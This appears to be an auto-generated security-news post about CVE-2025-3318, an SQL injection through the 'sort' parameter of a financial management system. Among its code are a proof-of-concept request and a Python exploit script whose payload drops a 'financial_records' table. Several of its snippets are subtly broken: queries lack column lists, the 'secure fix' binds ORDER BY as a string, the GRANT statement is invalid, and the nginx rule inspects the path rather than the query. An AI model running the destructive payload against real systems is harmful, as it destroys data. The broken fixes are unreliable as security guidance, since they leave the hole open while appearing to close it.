Kenj_Frog 公司财务管理系统, SQL Injection, CVE-2025-3318 (Critical)

How the Vulnerability Works

The CVE-2025-3318 vulnerability exists in Kenj_Frog’s financial management system version 1.0, specifically within the `ShangpinleixingController.java` file. The SQL injection occurs when user-supplied input through the `sort` parameter is directly concatenated into SQL queries without proper sanitization. Attackers can manipulate this parameter to inject malicious SQL commands that the database executes. Since the system lacks input validation and parameterized queries, this allows remote attackers to read, modify, or delete sensitive financial data stored in the database. The vulnerability is particularly dangerous as it can be exploited without authentication and may lead to complete system compromise.

DailyCVE Form

Platform: Kenj_Frog financial system
Version: 1.0
Vulnerability: SQL Injection
Severity: Critical
Date: 04/08/2025

What Undercode Say:

-- Exploit PoC
GET /Shangpinleixing?sort=1;SELECT%20%20FROM%20users-- HTTP/1.1
Host: target.com
// Vulnerable code snippet
String sql = "SELECT FROM products ORDER BY " + sort;
// Secure fix using prepared statements
String sql = "SELECT FROM products ORDER BY ?";
PreparedStatement stmt = connection.prepareStatement(sql);
stmt.setString(1, sort);
Detection command
curl -v "http://target.com/Shangpinleixing?sort=1%20AND%201=1"
Exploit script
import requests
payload = "1; DROP TABLE financial_records--"
response = requests.get(f"http://target.com/Shangpinleixing?sort={payload}")
-- Database protection
REVOKE ALL PRIVILEGES FROM public;
GRANT SELECT ONLY TO app_user;
WAF rule to block SQLi
location ~ (\'|\"|;|--|union|select|drop) {
deny all;
}
// Input validation
if (!sort.matches("[a-zA-Z0-9_]+")) {
throw new IllegalArgumentException();
}
Log monitoring alert
grep -E "SQL syntax|SQL error" /var/log/tomcat/catalina.out
<!-- Dependency check -->

org.owasp
esapi
2.5.0.0

References:

Reported By: https://nvd.nist.gov/vuln/detail/CVE-2025-3318
Extra Source Hub:
Undercode

Join Our Cyber World:

💬 Whatsapp | 💬 TelegramFeatured Image

Scroll to Top